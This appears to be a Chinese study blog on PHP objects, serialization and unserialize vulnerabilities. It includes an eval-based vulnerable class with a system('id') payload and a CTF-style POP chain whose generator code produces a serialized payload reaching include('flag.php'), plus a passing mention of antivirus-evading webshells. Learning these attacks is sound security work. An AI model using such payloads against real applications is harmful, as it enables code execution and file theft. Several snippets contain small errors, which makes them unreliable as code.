php中的类与对象以及反序列化

php 复制代码
<?php
class a{
    #这个php中的对象可以直接初始化的吗?
    var $name="benben";
    var $sex;
    function jineng($ var1){
        echo $this->name;#类的函数调用类的成员,是需要使用this指针明确显示的。但是C++中的this指针是隐藏了的。
        echo $var1;
    }
}
?>

实例化和赋值

这里实例化要使用new()来进行。详细代码如下:

php 复制代码
<?php
class a{
    #这个php中的对象可以直接初始化的吗?
    var $name="benben";
    var $sex;
    function jineng($ var1){
        echo $this->name;#类的函数调用类的成员,是需要使用this指针明确显示的。但是C++中的this指针是隐藏了的。
        echo $var1;
    }
}

$cyj=new a();
#类中有预定义的,不用怕,后面可以覆盖的
$cyj->name="程咬金";
$cyj->sex='男';
?>

这个对象的展示结果如下,但是请注意输出的时候方法是不会输出的。(只会使属性展示。)

序列化基础知识:

序列化 :把PHP 对象 / 数组 / 变量 转换成字符串,方便存储、传输、缓存。

反序列化 :把序列化后的字符串,还原成原本的 PHP 对象

变量序列化

php 复制代码
<?php
$test = "hello world";
$ser_str = serialize($test);
echo $ser_str; 
// 输出:s:11:"hello world";
/*
格式说明:
s = 字符串,11 = 字符长度,后面是内容
*/
?>

其中的s:11:"hello world"是这样划分的。首先这个s是string,表示这个变量的类型,然后用:(分号)来分割。后面的11表示的是长度。(要是int类型或者float类型就没有这个长度)。后面就是内容。是用双引号来划分范围的。这样就算字符串的内容是hello"world也不会出现 s:11"hello"world"这样意外闭合的情况。

数组序列化

php 复制代码
<?php
$arr = ['name' => 'admin', 'age' => 20];
echo serialize($arr);
// 输出:a:2:{s:4:"name";s:5:"admin";s:3:"age";i:20;}
/*
a = 数组,2 = 数组元素个数
i = 整型
*/
?>

其中a代表array(数组),其中有两个元素。然后数组中的内容就是按照变量序列化来进行的。

对象的序列化

php 复制代码
<?php
class test{
    public $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a=new test();
echo serialize(a);
?>

后面的结果就是O:4:"test":1:{s:3:"pub";s:6:"benben";}

都是类名没有对象名呀。

要是有变量是private类型,那么在序列化的时候在变量名前加上%00类名%00(但是注意这个空格并不是%00,那个%00是二进制进行的)。相关代码如下:

php 复制代码
<?php
class hero{
    private $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a=new hero();
echo serialize(a);
?>
#对应结果如下:
O:4:"hero":1:{s:9:"%00hero%00pub";s:6:"benben";}

要是变量是protect类型,则就是在变量名前加上%00*%00(我觉得考察private就可以了)。

要是有类包含的情况,就是类似于这种:

class A{

xxxx

};

class B{

xxxxx

private :

A a

}

$a=new B();

echo serialize(a);

对于这种对a进行序列化的时候就是这样的了

O:1:"B":1:{O}

对象的反序列化

1.一个对象进行序列化的结果是字符串,该字符串进行反序列化之后还是对象。

2.反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值是无关的(后面处理免杀木马也可以这么处理)。

3.反序列化不触发类的成员方法,但是需要调用方法后才可以触发。

比如你看这个变量d这个是接受的字符串,f是其反序列化之后的对象。这里要是把test这个类给删了,那么f调用display这个方法就是有问题的。但是只要test这个类存在,那么f就可以调用。(说实话,我觉得有点奇怪)。

反序列化的漏洞

php 复制代码
<?php
class test{
    
    public $a = 'echo "this is my test";'; 

    function displayVar(){
        
        eval($this->a);
    }
}

$get = $_GET["x"];
$b = unserialize($get);
$b->displayVar();
?>

可以看一下这个代码,这个代码的意思是给URL传一个参数x,这个参数由变量$get获取,然后对这个变量进行反序列化。然后再执行b中的displayVar函数。要是x是事先构造好的字符串,

O:4:"test":1:{s:1:"a";s:13:"system('id');";}

也就是

魔术方法

触发时机,功能,参数,返回值

这些事自动调用,并且类中要有这个方法才可以。其中比较晦涩的可能是这个_toString和_invoke这个怎么理解呢?可以这么认为假设有这样的代码:

php 复制代码
<?php
    class test{
        public $a;
//这个是要有两个下划线的,并且这个函数是要有return的,并且返回的类型只能是字符串
         function __toString(){
            return " 我是对象,不是字符串";
         }
    } 
    $b = new test();
    echo $b;
?>

这里由于echo 后面跟的应该是字符串,但是$b确实对象。这个对象看看能不能转成字符串于是就调用了__toString函数(这么说这个函数有点类似于类型转换要调用的函数一样)。

同理,__invoke()函数就是想要把这个对象转成函数来处理。代码如下:

php 复制代码
<?php
    class test{
        private $a='明天会更好!';
        function display(){
            echo $this->a;
        }
        //这里甚至都不需要return
         function __invoke(){
             $this->display();

         }
    } 
    $b = new test();
//这里是把对象b当做函数调用了。
    $b();
?>

POP链的构造

相关代码是这样的:

php 复制代码
<?php
class Modifier{
    private $var;
    function append($value){
        include($value);
        echo $flag;
    }
    function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    function __tostring(){
        return $this->str->source;
    }   
    function __wakeup(){
        echo $this->source; 
    }
}

class Test{
    public $p;
    function __contruct(){
        $this->p =array();
    }
    function __get($key){
        $function=$this->p;
        return $function();
    }
}
if(isset($_GET["pop"])){
    unserialize($_GET["pop"]);
}


?>

构造过程如下 :

第 1 步:锁定最终目标(终点)

我们的目标是执行 Modifier::append() 里的这两行代码:

php

运行

复制代码
include($value);
echo $flag;

要让这两句执行,必须先调用 append($value) 方法,并且让 $value = "flag.php"


第 2 步:往前找 append() 的触发方式

在代码里找,哪个方法调用了 append()

  • Modifier::__invoke()

    php

    运行

    复制代码
    function __invoke(){
        $this->append($this->var);
    }

所以,只要能触发 Modifier::__invoke(),就能调用 append(),并且把 $this->var 作为参数传进去。 那 __invoke() 怎么触发?

  • 规则:对象被当作函数调用时触发 ,比如 $obj()

第 3 步:往前找 __invoke() 的触发方式

找哪里出现了 $obj() 这种 "对象当函数调用" 的写法?

  • Test::__get()

    php

    运行

    复制代码
    function __get($key){
        $function=$this->p;
        return $function();
    }

这里的 $function() 就是 "对象当函数调用"。 所以,只要让 $this->pModifier 对象,就能触发 Modifier::__invoke()。 那 __get() 怎么触发?

  • 规则:访问对象不存在的属性时触发 ,比如 $obj->不存在的属性

第 4 步:往前找 __get() 的触发方式

找哪里出现了 $obj->属性 这种访问属性的写法,且属性可能不存在?

  • Show::__toString()

    php

    运行

    复制代码
    function __tostring(){
        return $this->str->source;
    }

这里访问了 $this->str->source。如果 $this->strTest 对象,而 Test 类里没有 source 属性,就会触发 Test::__get()。 那 __toString() 怎么触发?

  • 规则:对象被当作字符串使用时触发 ,比如 echo $obj

第 5 步:往前找 __toString() 的触发方式

找哪里出现了 echo $obj 这种 "对象当字符串使用" 的写法?

  • Show::__wakeup()

    php

    运行

    复制代码
    function __wakeup(){
        echo $this->source; 
    }

这里的 echo $this->source 会把 $this->source 当作字符串处理。如果 $this->sourceShow 对象(或者说,只要 $this->source 是一个有 __toString() 方法的对象),就会触发 Show::__toString()。 那 __wakeup() 怎么触发?

  • 规则:unserialize() 反序列化对象时自动触发

第 6 步:链的起点(入口)

unserialize($_GET["pop"]) 会自动调用 Show 对象的 __wakeup() 方法。 至此,我们已经从终点 include("flag.php") 反向推到了起点 unserialize(),完整的链就通了。

那现在就只剩下传参数了。这个参数怎么写,还是要序列化的内容。可以这样写:

php 复制代码
<?php
class Modifier{
//因为var是私有属性,所以只能在这里赋值。
    private $var='flag.php';
    function append($value){
        include($value);
        echo $flag;
    }
    function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    function __tostring(){
        return $this->str->source;
    }   
    function __wakeup(){
        echo $this->source; 
    }
}

class Test{
    public $p;
    function __contruct(){
        $this->p =array();
    }
    function __get($key){
        $function=$this->p;
        return $function();
    }
}
if(isset($_GET["pop"])){
    unserialize($_GET["pop"]);
}

$mod = new Modifier();
$show = new Show();
$test = new Test();
$test->p=$mod;
$show->str=$test;
$show->source = $show;
echo serialize($show);

?>

其中最后结果是:

bash 复制代码
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}}

这就是用代码来生成代码。

相关推荐
月亮邮递员6161 小时前
Markdown语法总结
开发语言·前端·javascript
曹牧1 小时前
C#:主线程能够捕获到子线程中的异常
开发语言·数据库·c#
代码中介商1 小时前
深入解析STL中的stack、queue与priority_queue
开发语言·c++
彦为君1 小时前
JavaSE-07-异常机制
java·开发语言·后端·python·spring
OxyTheCrack1 小时前
【Golang】简述make与new内置函数以及两者的区别
开发语言·golang
Rain5092 小时前
mini-cc 的 MCP 协议:给 AI 装个 USB-C 接口
c语言·开发语言·前端·人工智能·架构·node.js·ai编程
华科大胡子2 小时前
AI开发者的网络卡点:Anthropic连接超时
开发语言·php
叠叠乐2 小时前
redmi k90 pro max 强解BL,刷海外rom, 并刷入sukisu ultra
linux
磊 子2 小时前
STL无序关联容器—unorded_set+unorded_map
开发语言·c++